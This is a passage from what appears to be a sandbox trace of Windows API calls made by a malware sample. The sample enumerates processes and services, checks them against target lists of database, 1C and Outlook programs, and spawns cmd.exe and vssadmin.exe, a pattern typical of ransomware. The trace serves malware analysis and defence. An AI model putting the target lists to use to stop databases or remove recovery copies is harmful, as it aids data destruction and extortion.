returned 1 [0059.656] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x228 [0059.658] Process32FirstW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0059.659] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0059.660] lstrlenW (lpString="System") returned 6 [0059.660] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0059.660] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0059.660] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0059.660] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0059.660] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0059.660] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0059.660] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0059.660] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0059.660] lstrlenW (lpString="smss.exe") returned 8 [0059.660] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0059.660] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0059.660] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0059.660] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0059.660] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0059.661] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0059.661] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0059.661] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.661] lstrlenW (lpString="csrss.exe") returned 9 [0059.661] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0059.661] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0059.661] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0059.661] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0059.661] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0059.661] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0059.661] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0059.661] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0059.662] lstrlenW (lpString="wininit.exe") returned 11 [0059.662] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0059.662] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0059.662] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0059.662] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.663] lstrlenW (lpString="csrss.exe") returned 9 [0059.663] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0059.663] lstrlenW (lpString="winlogon.exe") returned 12 [0059.663] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0059.664] lstrlenW (lpString="services.exe") returned 12 [0059.664] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0059.665] lstrlenW (lpString="lsass.exe") returned 9 [0059.665] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0059.665] lstrlenW (lpString="lsm.exe") returned 7 [0059.665] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.666] lstrlenW (lpString="svchost.exe") returned 11 [0059.666] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.667] lstrlenW (lpString="svchost.exe") returned 11 [0059.667] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.667] lstrlenW (lpString="svchost.exe") returned 11 [0059.667] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.668] lstrlenW (lpString="svchost.exe") returned 11 [0059.668] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.668] lstrlenW (lpString="svchost.exe") returned 11 [0059.669] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0059.669] lstrlenW (lpString="audiodg.exe") returned 11 [0059.669] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.670] lstrlenW (lpString="svchost.exe") returned 11 [0059.670] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.671] lstrlenW (lpString="svchost.exe") returned 11 [0059.671] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0059.671] lstrlenW (lpString="dwm.exe") returned 7 [0059.671] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0059.672] lstrlenW (lpString="explorer.exe") returned 12 [0059.672] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0059.673] lstrlenW (lpString="spoolsv.exe") returned 11 [0059.673] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.673] lstrlenW (lpString="taskhost.exe") returned 12 [0059.673] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.674] lstrlenW (lpString="svchost.exe") returned 11 [0059.674] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.674] lstrlenW (lpString="taskeng.exe") returned 11 [0059.674] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.675] lstrlenW (lpString="taskhost.exe") returned 12 [0059.675] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0059.676] lstrlenW (lpString="chem venues.exe") returned 15 [0059.676] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0059.676] lstrlenW (lpString="month.exe") returned 9 [0059.676] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0059.677] lstrlenW (lpString="glasgow.exe") returned 11 [0059.677] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0059.678] lstrlenW (lpString="rubber.exe") returned 10 [0059.678] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0059.678] lstrlenW (lpString="petroleum.exe") returned 13 [0059.678] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0059.679] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0059.679] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0059.679] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0059.680] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0059.680] lstrlenW (lpString="batman_oliver.exe") returned 17 [0059.680] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0059.681] lstrlenW (lpString="formation.exe") returned 13 [0059.681] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0059.681] lstrlenW (lpString="whole.exe") returned 9 [0059.681] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0059.682] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0059.682] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0059.683] lstrlenW (lpString="disorder.exe") returned 12 [0059.683] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0059.683] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0059.683] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0059.684] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0059.684] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0059.685] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0059.685] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0060.114] lstrlenW (lpString="perspective.exe") returned 15 [0060.114] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0060.115] lstrlenW (lpString="demand-site.exe") returned 15 [0060.115] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0060.115] lstrlenW (lpString="attachment.exe") returned 14 [0060.115] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0060.116] lstrlenW (lpString="valid-permit.exe") returned 16 [0060.116] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0060.117] lstrlenW (lpString="knights.exe") returned 11 [0060.117] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0060.117] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0060.117] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0060.118] lstrlenW (lpString="ohbdap.exe") returned 10 [0060.118] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0060.119] lstrlenW (lpString="cmd.exe") returned 7 [0060.119] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0060.119] lstrlenW (lpString="conhost.exe") returned 11 [0060.119] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0060.120] lstrlenW (lpString="vssadmin.exe") returned 12 [0060.120] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0060.121] lstrlenW (lpString="VSSVC.exe") returned 9 [0060.121] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.121] lstrlenW (lpString="svchost.exe") returned 11 [0060.121] Process32NextW (in: hSnapshot=0x228, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0060.122] CloseHandle (hObject=0x228) returned 1 [0060.122] Sleep (dwMilliseconds=0x1f4) [0060.846] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52faa8 [0060.847] EnumServicesStatusExW (in: hSCManager=0x52faa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0060.847] GetLastError () returned 0xea [0060.847] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x5a5d28 [0060.848] EnumServicesStatusExW (in: hSCManager=0x52faa8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5a5d28, cbBufSize=0x12c6, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5a5d28, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 1 [0060.848] CloseServiceHandle (hSCObject=0x52faa8) returned 1 [0060.849] lstrlenW (lpString="Appinfo") returned 7 [0060.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0060.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0060.849] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0060.849] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0060.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0060.849] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0060.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0060.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0060.849] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0060.849] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0060.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0060.849] lstrlenW (lpString="AudioSrv") returned 8 [0060.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0060.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0060.849] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0060.849] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0060.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0060.849] lstrlenW (lpString="BFE") returned 3 [0060.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0060.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0060.849] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0060.849] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0060.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0060.849] lstrlenW (lpString="CryptSvc") returned 8 [0060.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0060.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0060.849] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0060.850] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0060.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0060.850] lstrlenW (lpString="CscService") returned 10 [0060.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0060.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0060.850] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0060.850] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0060.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0060.850] lstrlenW (lpString="DcomLaunch") returned 10 [0060.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0060.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0060.850] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0060.850] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0060.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0060.850] lstrlenW (lpString="Dhcp") returned 4 [0060.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0060.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0060.850] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0060.850] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0060.850] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0060.850] lstrlenW (lpString="Dnscache") returned 8 [0060.850] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0060.850] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") 